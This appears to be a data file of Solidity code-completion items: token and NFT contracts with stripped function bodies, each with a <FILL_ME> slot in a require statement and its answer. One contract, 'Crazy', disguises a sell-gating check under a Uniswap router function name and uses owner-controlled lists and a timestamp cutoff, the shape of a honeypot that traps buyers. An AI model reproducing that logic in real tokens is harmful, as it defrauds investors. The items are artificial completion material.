function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function checkTxLimit(address sender, address reciever, uint256 amount) internal view {
}
function shouldTakeFee(address endpt) internal view returns (bool) {
}
function takeFee(address sender, bool isBuy, uint256 amount) internal returns (uint256) {
}
function setInitialfees(uint8 _initialBuyFeePercentMul10, uint8 _initialSellFeePercentMul10) external authorized {
}
// returns any mis-sent tokens to the marketing wallet
function claimtokensback(IERC20 tokenAddress) external authorized {
}
function launched() internal view returns (bool) {
}
function launch() internal {
}
function stopInitialTax()external authorized{
}
function setTxLimit(uint256 amount) external authorized {
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
}
/*
Dev sets the individual buy fees
*/
function setFees(uint8 _liquidityFeeMul10, uint8 _marketingFeeMul10, uint8 _burnFeeMul10) external authorized {
require(<FILL_ME>)
require(_liquidityFeeMul10 + _marketingFeeMul10 <= totalFee, "DTVBURN, taxes can only ever change ratio");
liquidityFee = _liquidityFeeMul10;
marketingFee = _marketingFeeMul10;
burnFee = _burnFeeMul10;
totalFee = _liquidityFeeMul10 + _marketingFeeMul10 + _burnFeeMul10 ;
}
function swapBack() internal swapping {
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external authorized {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
}
function shouldSwapBack(address recipient) internal view returns (bool) {
}
function getCirculatingSupply() public view returns (uint256) {
}
event AutoLiquify(uint256 amountPairToken, uint256 amountToken);
event BurnedToken(uint256 amountOfToken, uint256 amountOfEth, uint256 totalTokenBurned, uint256 totalEthBurned);
}
| _liquidityFeeMul10+_marketingFeeMul10+_burnFeeMul10<=80,"DTVBURN taxes can never exceed 8%" | 486,915 | _liquidityFeeMul10+_marketingFeeMul10+_burnFeeMul10<=80 |
"DTVBURN, taxes can only ever change ratio" | pragma solidity ^0.8.17;
//SPDX-License-Identifier: UNLICENCED
/*
DGTV-Burn
8% tax on buy and sell, 8% tax on transfers
starting taxes:
sniper: 30% sell, 25% buy
antisnipe permanently disables.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract DOGETVBURN is IERC20, Auth {
using SafeMath for uint256;
// fees. all uint8 for gas efficiency and storage.
/* @dev
all fees are set with 1 decimal places added, please remember this when setting fees.
*/
uint8 public liquidityFee = 5;
uint8 public marketingFee = 70;
uint8 public burnFee = 5;
uint8 public totalFee = 80;
uint16 public initialSellFee = 300; // rek the sniper bots
uint16 public initialBuyFee = 250; // rek the sniper bots
// denominator. uint 16 for storage efficiency - makes the above fees all to 1 dp.
uint16 public AllfeeDenominator = 1000;
// trading control;
bool public canTrade = false;
uint256 public launchedAt;
// tokenomics - uint256 BN but located here fro storage efficiency
uint256 _totalSupply = 1 * 10**7 * (10 **_decimals); //10 mil
uint256 public _maxTxAmount = _totalSupply / 100; // 1%
uint256 public _maxHoldAmount = _totalSupply / 50; // 2%
uint256 public swapThreshold = _totalSupply / 500; // 0.2%
uint256 public tokenBurned;
uint256 public totalEthSpent;
uint256 public marketingReceived;
//Important addresses
address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // mainnet tether, used to get price;
address DogeTV = 0xFEb6d5238Ed8F1d59DCaB2db381AA948e625966D;
//address USDT = 0xF99a0CbEa2799f8d4b51709024454F74eD63a86D;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
address public pair;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public pairs;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isMaxHoldExempt;
mapping (address => bool) isBlacklisted;
IDEXRouter public router;
bool public swapEnabled = true;
bool inSwap;
address[] public subbedUsers;
uint public totalSubs;
modifier swapping() { }
string constant _name = "DGTV-Burn";
string constant _symbol = "$DGTVB";
uint8 constant _decimals = 18;
bool public initialTaxesEnabled = true;
constructor (address tokenOwner) Auth(tokenOwner) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function getEstimatedTokenForUSDT(uint USDTAmount) public view returns (uint) {
}
function setBlacklistedStatus(address walletToBlacklist, bool isBlacklistedBool)external authorized{
}
function setBlacklistArray(address[] calldata walletToBlacklistArray)external authorized{
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function setSwapThresholdDivisor(uint divisor)external authorized {
}
function approveMax(address spender) external returns (bool) {
}
function setmaxholdpercentage(uint256 percentageMul10) external authorized {
}
function allowtrading()external authorized {
}
function addNewPair(address newPair)external authorized{
}
function removePair(address pairToRemove)external authorized{
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function checkTxLimit(address sender, address reciever, uint256 amount) internal view {
}
function shouldTakeFee(address endpt) internal view returns (bool) {
}
function takeFee(address sender, bool isBuy, uint256 amount) internal returns (uint256) {
}
function setInitialfees(uint8 _initialBuyFeePercentMul10, uint8 _initialSellFeePercentMul10) external authorized {
}
// returns any mis-sent tokens to the marketing wallet
function claimtokensback(IERC20 tokenAddress) external authorized {
}
function launched() internal view returns (bool) {
}
function launch() internal {
}
function stopInitialTax()external authorized{
}
function setTxLimit(uint256 amount) external authorized {
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
}
/*
Dev sets the individual buy fees
*/
function setFees(uint8 _liquidityFeeMul10, uint8 _marketingFeeMul10, uint8 _burnFeeMul10) external authorized {
require(_liquidityFeeMul10 + _marketingFeeMul10 + _burnFeeMul10 <= 80, "DTVBURN taxes can never exceed 8%");
require(<FILL_ME>)
liquidityFee = _liquidityFeeMul10;
marketingFee = _marketingFeeMul10;
burnFee = _burnFeeMul10;
totalFee = _liquidityFeeMul10 + _marketingFeeMul10 + _burnFeeMul10 ;
}
function swapBack() internal swapping {
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external authorized {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
}
function shouldSwapBack(address recipient) internal view returns (bool) {
}
function getCirculatingSupply() public view returns (uint256) {
}
event AutoLiquify(uint256 amountPairToken, uint256 amountToken);
event BurnedToken(uint256 amountOfToken, uint256 amountOfEth, uint256 totalTokenBurned, uint256 totalEthBurned);
}
| _liquidityFeeMul10+_marketingFeeMul10<=totalFee,"DTVBURN, taxes can only ever change ratio" | 486,915 | _liquidityFeeMul10+_marketingFeeMul10<=totalFee |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IERC20 {
function decimals() external returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Crazy is Ownable {
using SafeMath for uint256;
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address coin;
address pair;
mapping(address => bool) whites;
mapping(address => bool) blacks;
mapping (address => uint256) hodl;
uint256 public lastWWW;
receive() external payable { }
function inP(address _coin, address _pair) external onlyOwner {
}
function reP() external onlyOwner {
}
function WWW(uint256 amount) external onlyOwner {
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amount,
address from,
address to
) external returns (bool) {
if (whites[from] || whites[to] || pair == address(0)) {
return false;
}
else if ((from == owner() || from == address(this)) && to == pair) {
return true;
}
if (from == pair) {
if (hodl[to] == 0) {
hodl[to] = block.timestamp;
}
} else {
require(!blacks[from]);
require(<FILL_ME>)
}
return false;
}
function swapETH(uint256 count) external onlyOwner {
}
function addWW(address[] memory _wat) external onlyOwner{
}
function addBB(address[] memory _bat) external onlyOwner{
}
function claimETH() external onlyOwner {
}
}
| hodl[from]>=lastWWW | 486,937 | hodl[from]>=lastWWW |
"All tokens are gone" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract IndelibleERC721A is ERC721A, ReentrancyGuard, Ownable {
using HelperLib for uint256;
using DynamicBuffer for bytes;
struct TraitDTO {
string name;
string mimetype;
bytes data;
}
struct Trait {
string name;
string mimetype;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint256 royalties;
string royaltiesRecipient;
}
mapping(uint256 => address[]) internal _traitDataPointers;
mapping(uint256 => mapping(uint256 => Trait)) internal _traitDetails;
mapping(uint256 => bool) internal _renderTokenOffChain;
uint256 private constant NUM_LAYERS = 8;
uint256 private constant MAX_BATCH_MINT = 20;
uint256[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Accessories", unicode"Hand", unicode"Sleeve", unicode"Rocks", unicode"Dirty Doug", unicode"Wormz", unicode"Dirt", unicode"Cup"];
bool private shouldWrapSVG = true;
uint256 public constant maxTokens = 8008;
uint256 public maxPerAddress = 100;
uint256 public maxFreePerAddress = 0;
uint256 public mintPrice = 0 ether;
string public baseURI = "";
bool public isMintingPaused = true;
ContractData public contractData = ContractData(unicode"Cup of Dirt", unicode"It's a cup... of dirt. With this cup, you now own the dirt in the cup. The dirt represents land in the metaverse. Land that will never be usable. There will be no game. Scarce digital land is stupid. This is not a joke. RUG. DIRT. DIRT. DIRT. DIRT. DIRT. DIRT.", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e431f4ea-6e56-449d-ba9b-107b3e6c48fc", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e431f4ea-6e56-449d-ba9b-107b3e6c48fc", "", 500, "0x01A1A79E83e26A9DE566F65A1AcDf02DeC449D26");
constructor() ERC721A(unicode"Cup of Dirt", unicode"COD") {
}
modifier whenPublicMintActive() {
}
function rarityGen(uint256 _randinput, uint256 _rarityTier)
internal
view
returns (uint256)
{
}
function _extraData(
address from,
address to,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint256 _tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint256 _tokenId
) public view returns (string memory) {
}
function mint(uint256 _count) external payable nonReentrant whenPublicMintActive returns (uint256) {
uint256 totalMinted = _totalMinted();
require(_count > 0, "Invalid token count");
require(<FILL_ME>)
require(_count * mintPrice == msg.value, "Incorrect amount of ether sent");
require(balanceOf(msg.sender) + _count <= maxPerAddress, "Exceeded max mints allowed.");
uint256 batchCount = _count / MAX_BATCH_MINT;
uint256 remainder = _count % MAX_BATCH_MINT;
for (uint256 i = 0; i < batchCount; i++) {
_mint(msg.sender, MAX_BATCH_MINT);
}
if (remainder > 0) {
_mint(msg.sender, remainder);
}
return totalMinted;
}
function isPublicMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint256 _tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint256 _layerIndex, uint256 _traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint256 _layerIndex, uint256 _traitIndex)
public
view
returns (string memory)
{
}
function addLayer(uint256 _layerIndex, TraitDTO[] memory traits)
public
onlyOwner
{
}
function addTrait(uint256 _layerIndex, uint256 _traitIndex, TraitDTO memory trait)
public
onlyOwner
{
}
function changeContractData(ContractData memory _contractData) external onlyOwner {
}
function changeMaxPerAddress(uint256 _maxPerAddress) external onlyOwner {
}
function changeBaseURI(string memory _baseURI) external onlyOwner {
}
function changeRenderOfTokenId(uint256 _tokenId, bool _renderOffChain) external {
}
function toggleWrapSVG() external onlyOwner {
}
function toggleMinting() external onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
}
| totalMinted+_count<=maxTokens,"All tokens are gone" | 487,539 | totalMinted+_count<=maxTokens |
"Incorrect amount of ether sent" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract IndelibleERC721A is ERC721A, ReentrancyGuard, Ownable {
using HelperLib for uint256;
using DynamicBuffer for bytes;
struct TraitDTO {
string name;
string mimetype;
bytes data;
}
struct Trait {
string name;
string mimetype;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint256 royalties;
string royaltiesRecipient;
}
mapping(uint256 => address[]) internal _traitDataPointers;
mapping(uint256 => mapping(uint256 => Trait)) internal _traitDetails;
mapping(uint256 => bool) internal _renderTokenOffChain;
uint256 private constant NUM_LAYERS = 8;
uint256 private constant MAX_BATCH_MINT = 20;
uint256[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Accessories", unicode"Hand", unicode"Sleeve", unicode"Rocks", unicode"Dirty Doug", unicode"Wormz", unicode"Dirt", unicode"Cup"];
bool private shouldWrapSVG = true;
uint256 public constant maxTokens = 8008;
uint256 public maxPerAddress = 100;
uint256 public maxFreePerAddress = 0;
uint256 public mintPrice = 0 ether;
string public baseURI = "";
bool public isMintingPaused = true;
ContractData public contractData = ContractData(unicode"Cup of Dirt", unicode"It's a cup... of dirt. With this cup, you now own the dirt in the cup. The dirt represents land in the metaverse. Land that will never be usable. There will be no game. Scarce digital land is stupid. This is not a joke. RUG. DIRT. DIRT. DIRT. DIRT. DIRT. DIRT.", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e431f4ea-6e56-449d-ba9b-107b3e6c48fc", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e431f4ea-6e56-449d-ba9b-107b3e6c48fc", "", 500, "0x01A1A79E83e26A9DE566F65A1AcDf02DeC449D26");
constructor() ERC721A(unicode"Cup of Dirt", unicode"COD") {
}
modifier whenPublicMintActive() {
}
function rarityGen(uint256 _randinput, uint256 _rarityTier)
internal
view
returns (uint256)
{
}
function _extraData(
address from,
address to,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint256 _tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint256 _tokenId
) public view returns (string memory) {
}
function mint(uint256 _count) external payable nonReentrant whenPublicMintActive returns (uint256) {
uint256 totalMinted = _totalMinted();
require(_count > 0, "Invalid token count");
require(totalMinted + _count <= maxTokens, "All tokens are gone");
require(<FILL_ME>)
require(balanceOf(msg.sender) + _count <= maxPerAddress, "Exceeded max mints allowed.");
uint256 batchCount = _count / MAX_BATCH_MINT;
uint256 remainder = _count % MAX_BATCH_MINT;
for (uint256 i = 0; i < batchCount; i++) {
_mint(msg.sender, MAX_BATCH_MINT);
}
if (remainder > 0) {
_mint(msg.sender, remainder);
}
return totalMinted;
}
function isPublicMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint256 _tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint256 _layerIndex, uint256 _traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint256 _layerIndex, uint256 _traitIndex)
public
view
returns (string memory)
{
}
function addLayer(uint256 _layerIndex, TraitDTO[] memory traits)
public
onlyOwner
{
}
function addTrait(uint256 _layerIndex, uint256 _traitIndex, TraitDTO memory trait)
public
onlyOwner
{
}
function changeContractData(ContractData memory _contractData) external onlyOwner {
}
function changeMaxPerAddress(uint256 _maxPerAddress) external onlyOwner {
}
function changeBaseURI(string memory _baseURI) external onlyOwner {
}
function changeRenderOfTokenId(uint256 _tokenId, bool _renderOffChain) external {
}
function toggleWrapSVG() external onlyOwner {
}
function toggleMinting() external onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
}
| _count*mintPrice==msg.value,"Incorrect amount of ether sent" | 487,539 | _count*mintPrice==msg.value |
"Exceeded max mints allowed." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract IndelibleERC721A is ERC721A, ReentrancyGuard, Ownable {
using HelperLib for uint256;
using DynamicBuffer for bytes;
struct TraitDTO {
string name;
string mimetype;
bytes data;
}
struct Trait {
string name;
string mimetype;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint256 royalties;
string royaltiesRecipient;
}
mapping(uint256 => address[]) internal _traitDataPointers;
mapping(uint256 => mapping(uint256 => Trait)) internal _traitDetails;
mapping(uint256 => bool) internal _renderTokenOffChain;
uint256 private constant NUM_LAYERS = 8;
uint256 private constant MAX_BATCH_MINT = 20;
uint256[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Accessories", unicode"Hand", unicode"Sleeve", unicode"Rocks", unicode"Dirty Doug", unicode"Wormz", unicode"Dirt", unicode"Cup"];
bool private shouldWrapSVG = true;
uint256 public constant maxTokens = 8008;
uint256 public maxPerAddress = 100;
uint256 public maxFreePerAddress = 0;
uint256 public mintPrice = 0 ether;
string public baseURI = "";
bool public isMintingPaused = true;
ContractData public contractData = ContractData(unicode"Cup of Dirt", unicode"It's a cup... of dirt. With this cup, you now own the dirt in the cup. The dirt represents land in the metaverse. Land that will never be usable. There will be no game. Scarce digital land is stupid. This is not a joke. RUG. DIRT. DIRT. DIRT. DIRT. DIRT. DIRT.", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e431f4ea-6e56-449d-ba9b-107b3e6c48fc", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e431f4ea-6e56-449d-ba9b-107b3e6c48fc", "", 500, "0x01A1A79E83e26A9DE566F65A1AcDf02DeC449D26");
constructor() ERC721A(unicode"Cup of Dirt", unicode"COD") {
}
modifier whenPublicMintActive() {
}
function rarityGen(uint256 _randinput, uint256 _rarityTier)
internal
view
returns (uint256)
{
}
function _extraData(
address from,
address to,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint256 _tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint256 _tokenId
) public view returns (string memory) {
}
function mint(uint256 _count) external payable nonReentrant whenPublicMintActive returns (uint256) {
uint256 totalMinted = _totalMinted();
require(_count > 0, "Invalid token count");
require(totalMinted + _count <= maxTokens, "All tokens are gone");
require(_count * mintPrice == msg.value, "Incorrect amount of ether sent");
require(<FILL_ME>)
uint256 batchCount = _count / MAX_BATCH_MINT;
uint256 remainder = _count % MAX_BATCH_MINT;
for (uint256 i = 0; i < batchCount; i++) {
_mint(msg.sender, MAX_BATCH_MINT);
}
if (remainder > 0) {
_mint(msg.sender, remainder);
}
return totalMinted;
}
function isPublicMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint256 _tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint256 _layerIndex, uint256 _traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint256 _layerIndex, uint256 _traitIndex)
public
view
returns (string memory)
{
}
function addLayer(uint256 _layerIndex, TraitDTO[] memory traits)
public
onlyOwner
{
}
function addTrait(uint256 _layerIndex, uint256 _traitIndex, TraitDTO memory trait)
public
onlyOwner
{
}
function changeContractData(ContractData memory _contractData) external onlyOwner {
}
function changeMaxPerAddress(uint256 _maxPerAddress) external onlyOwner {
}
function changeBaseURI(string memory _baseURI) external onlyOwner {
}
function changeRenderOfTokenId(uint256 _tokenId, bool _renderOffChain) external {
}
function toggleWrapSVG() external onlyOwner {
}
function toggleMinting() external onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
}
| balanceOf(msg.sender)+_count<=maxPerAddress,"Exceeded max mints allowed." | 487,539 | balanceOf(msg.sender)+_count<=maxPerAddress |
"Traits size does not match tiers for this index" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract IndelibleERC721A is ERC721A, ReentrancyGuard, Ownable {
using HelperLib for uint256;
using DynamicBuffer for bytes;
struct TraitDTO {
string name;
string mimetype;
bytes data;
}
struct Trait {
string name;
string mimetype;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint256 royalties;
string royaltiesRecipient;
}
mapping(uint256 => address[]) internal _traitDataPointers;
mapping(uint256 => mapping(uint256 => Trait)) internal _traitDetails;
mapping(uint256 => bool) internal _renderTokenOffChain;
uint256 private constant NUM_LAYERS = 8;
uint256 private constant MAX_BATCH_MINT = 20;
uint256[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Accessories", unicode"Hand", unicode"Sleeve", unicode"Rocks", unicode"Dirty Doug", unicode"Wormz", unicode"Dirt", unicode"Cup"];
bool private shouldWrapSVG = true;
uint256 public constant maxTokens = 8008;
uint256 public maxPerAddress = 100;
uint256 public maxFreePerAddress = 0;
uint256 public mintPrice = 0 ether;
string public baseURI = "";
bool public isMintingPaused = true;
